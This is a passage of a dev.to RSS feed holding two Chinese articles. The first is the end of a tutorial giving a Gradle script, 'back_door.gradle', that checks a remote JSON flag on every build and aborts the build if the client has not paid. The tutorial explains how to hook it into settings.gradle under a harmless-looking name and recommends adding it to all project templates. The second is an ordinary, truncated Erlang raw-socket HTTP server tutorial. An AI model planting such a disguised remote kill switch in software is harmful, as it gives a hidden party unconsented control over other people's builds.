    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;lower&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;contains&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"build"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;lower&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;contains&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"assemble"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;lower&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;contains&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"bundle"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// =====================================================================&lt;/span&gt;
&lt;span class="c1"&gt;// 🛡️ 如果是构建任务，则执行远程许可检查&lt;/span&gt;
&lt;span class="c1"&gt;// =====================================================================&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isBuildTask&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// 🌍 建立远程连接（读取 JSON 文件）&lt;/span&gt;
        &lt;span class="kt"&gt;def&lt;/span&gt; &lt;span class="n"&gt;conn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;URL&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;openConnection&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setConnectTimeout&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// 网络连接超时：3秒&lt;/span&gt;
        &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setReadTimeout&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;    &lt;span class="c1"&gt;// 数据读取超时：3秒&lt;/span&gt;
        &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setRequestProperty&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"User-Agent"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"Build_Checker/1.0"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

        &lt;span class="c1"&gt;// 🧠 使用 JsonSlurper 解析远程 JSON 内容&lt;/span&gt;
        &lt;span class="kt"&gt;def&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;JsonSlurper&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;parse&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInputStream&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt;

        &lt;span class="c1"&gt;// ✅ 校验返回的字段格式：必须包含布尔型字段 x&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!(&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;?.&lt;/span&gt;&lt;span class="na"&gt;x&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;]))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"🛑 配置错误：字段 `x` 必须是 true 或 false（布尔值）"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;exit&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="c1"&gt;// ❌ 如果 x 为 true，则拒绝构建&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;x&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"🛑 灵儿封锁构建通道！你还没付尾款 💸"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;exit&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="c1"&gt;// ✅ 一切正常，输出许可通过&lt;/span&gt;
        &lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"✅ 远程许可通过 ✨"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

    &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// 🌐 网络异常、解析失败或接口无响应时也终止构建&lt;/span&gt;
        &lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"🛑 无法完成远程验证：${e.class.name} - ${e.message}"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;exit&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  第二步：在 settings.gradle 添加 hook
&lt;/h3&gt;

&lt;p&gt;放到最后一行：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;apply&lt;/span&gt; &lt;span class="nl"&gt;from:&lt;/span&gt; &lt;span class="s2"&gt;"back_door.gradle"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;或&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;apply&lt;/span&gt; &lt;span class="nl"&gt;from:&lt;/span&gt; &lt;span class="s2"&gt;"config.gradle"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;h2&gt;
  
  
  ⚠️ 注意：脚本文件需与 settings.gradle 同级。建议不要命名为 build.gradle，避免和已有构建文件冲突。
&lt;/h2&gt;
&lt;h2&gt;
  
  
  支持平台
&lt;/h2&gt;
&lt;/blockquote&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;平台类型&lt;/th&gt;
&lt;th&gt;插入方式&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Flutter&lt;/td&gt;
&lt;td&gt;在 &lt;code&gt;settings.gradle&lt;/code&gt; 添加 &lt;code&gt;apply from: 'path/to/secretguardian.gradle'&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;React Native&lt;/td&gt;
&lt;td&gt;同 Flutter，在项目根目录的 &lt;code&gt;settings.gradle&lt;/code&gt; 添加相同配置&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Java / Kotlin&lt;/td&gt;
&lt;td&gt;在 &lt;code&gt;settings.gradle&lt;/code&gt; 或 &lt;code&gt;build.gradle&lt;/code&gt; 添加依赖和扫描任务&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unity (Android)&lt;/td&gt;
&lt;td&gt;修改 &lt;code&gt;mainTemplate.gradle&lt;/code&gt; 插入自动检测逻辑&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cordova / Expo&lt;/td&gt;
&lt;td&gt;通过 Hook 机制集成到打包脚本 (&lt;code&gt;after_prepare&lt;/code&gt; 等阶段)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  测试方法
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Flutter:
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;创建一个 Flutter 项目：
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; flutter create build_lock_demo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;添加 &lt;code&gt;back_door.gradle&lt;/code&gt; 并修改 &lt;code&gt;settings.gradle&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;尝试运行：
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;flutter build apk
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;如果接口返回 &lt;code&gt;{ "x": true }&lt;/code&gt; → 构建失败，显示锁定信息&lt;/li&gt;
&lt;li&gt;如果返回 &lt;code&gt;{ "x": false }&lt;/code&gt; → 构建通过&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  其他平台（React Native / 原生 Android / Cordova / Unity）测试:
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;正常创建或打开项目&lt;/li&gt;
&lt;li&gt;将 &lt;code&gt;back_door.gradle&lt;/code&gt; 放入与 &lt;code&gt;settings.gradle&lt;/code&gt; 同级目录&lt;/li&gt;
&lt;li&gt;在 settings.gradle 最后一行添加：
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;apply from: &lt;span class="s2"&gt;"{您的构建名称}.gradle"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;执行正常构建命令：
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./gradlew assembleRelease
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;或&lt;br&gt;
如果你使用的是 &lt;strong&gt;Android Studio&lt;/strong&gt;，直接点击『&lt;strong&gt;Run&lt;/strong&gt;』或『&lt;strong&gt;Build&lt;/strong&gt;』即可。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;构建过程会被远程 JSON 控制是否继续，行为与 Flutter 项目一致。&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;这套构建许可系统不是为了报复，而是：&lt;/p&gt;

&lt;p&gt;✅ 给开发者一个合理的项目控制权利，保护我们的技术成果，防止劳动成果被白嫖。&lt;/p&gt;

&lt;p&gt;你可以把它集成进所有项目模板，作为开发者默认的「合法防身系统」。&lt;/p&gt;

&lt;p&gt;记住，&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;代码你可以复制，良心你抄不来。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>java</category>
      <category>android</category>
      <category>groovy</category>
      <category>gradle</category>
    </item>
    <item>
      <title>Erlang 从零写一个 HTTP REST API 服务</title>
      <dc:creator>钟智强</dc:creator>
      <pubDate>Fri, 13 Jun 2025 10:13:28 +0000</pubDate>
      <link>https://dev.to/ctkqiang/erlang-cong-ling-xie-ge-http-rest-api-fu-wu-4ia</link>
      <guid>https://dev.to/ctkqiang/erlang-cong-ling-xie-ge-http-rest-api-fu-wu-4ia</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;🧠 本文不只是教学代码，而是帮助你理解「Erlang 写 Web 服务」的底层原理，用最野性但真实的方式。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;你可能已经习惯了 Java 的 Spring Boot、Node.js 的 Express、Python 的 Flask —— 但这些都有框架。而这次，我们直接用 Erlang 写 HTTP 服务，不依赖 cowboy、mochiweb 或 yaws，完全裸写 socket 层，硬核程度拉满。&lt;/p&gt;

&lt;p&gt;👩‍💻 目标：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;写一个能处理 GET 和 POST 请求的 Web 服务器&lt;/li&gt;
&lt;li&gt;路由分发基本 API 请求路径&lt;/li&gt;
&lt;li&gt;接收 JSON（模拟即可）&lt;/li&gt;
&lt;li&gt;返回标准 HTTP 响应&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs6onzugvocv7flm608cb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs6onzugvocv7flm608cb.png" alt="在这里插入图片描述" width="800" height="413"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  建立最原始的 TCP 服务
&lt;/h3&gt;

&lt;p&gt;Erlang 的 gen_tcp 模块就是我们所有操作的起点：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight erlang"&gt;&lt;code&gt;&lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;ListenSocket&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;gen_tcp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;binary&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;packet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;active&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;false&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;reuseaddr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;}]),&lt;/span&gt;
    &lt;span class="nf"&gt;loop_accept&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;ListenSocket&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;

&lt;span class="nf"&gt;loop_accept&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;ListenSocket&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;Socket&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;gen_tcp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;accept&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;ListenSocket&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="nb"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;fun&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Socket&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;end&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="nf"&gt;loop_accept&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;ListenSocket&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;监听本地 8080 端口&lt;/li&gt;
&lt;li&gt;接收到连接后，spawn 一个进程专门处理这个 Socket（这就是 Erlang 并发威力！）&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  解析 HTTP 请求（简单模拟）
&lt;/h3&gt;

&lt;p&gt;真正的 HTTP 协议超复杂，这里我们做「最小可运行子集」：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight erlang"&gt;&lt;code&gt;&lt;span class="nf"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Socket&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;gen_tcp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Socket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="nv"&gt;Request&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;binary_to_list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="nn"&gt;io&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Request: &lt;/span&gt;&lt;span class="si"&gt;~s~n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
    &lt;span class="nv"&gt;Response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="nn"&gt;gen_tcp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Socket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="nn"&gt;gen_tcp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Socket&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;现在的重点是 &lt;code&gt;route/1&lt;/code&gt; —— 我们来构造最基础的路由逻辑。&lt;/p&gt;




&lt;h3&gt;
  
  
  基于请求构建路由
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight erlang"&gt;&lt;code&gt;&lt;span class="nf"&gt;route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
    &lt;span class="c"&gt;%% 基于最简单的方式分析请求头第一行
&lt;/span&gt;    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="nn"&gt;string&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nf"&gt;tokens&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;" &lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"GET"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"/"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;_]&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
            &lt;span class="nf"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Hello from Erlang REST API!"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"GET"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"/ping"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;_]&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
            &lt;span class="nf"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"pong"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"/echo"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;_&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="p"&gt;_]&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
            &lt;span class="nf"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"echo placeholder"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;_&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
            &lt;span class="nf"&gt;not_found&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  构造 HTTP 响应（手撸）
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight erlang"&gt;&lt;code&gt;&lt;span class="nf"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
    &lt;span class="nb"&gt;list_to_binary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="s"&gt;"HTTP/1.1 200 OK&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;
        &lt;span class="s"&gt;"Content-Type: text/plain&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;
        &lt;span class="s"&gt;"Content-Length: "&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt; &lt;span class="nb"&gt;integer_to_list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;length&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;Body&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;
        &lt;span class="nv"&gt;Body&lt;/span&gt;
    &lt;span class="p"&gt;).&lt;/span&gt;

&lt;span class="nf"&gt;not_found&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;
    &lt;span class="nb"&gt;list_to_binary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="s"&gt;"HTTP/1.1 404 Not Found&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;
        &lt;span class="s"&gt;"Content-Length: 0&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;).&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  完整代码
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight erlang"&gt;&lt;code&gt;&lt;span class="c"&gt;%%%-------------------------------------------------------------------
%%% @doc 超轻量级 HTTP 服务器，无框架，无依赖，纯 Erlang socket 实现
%%%-------------------------------------------------------------------
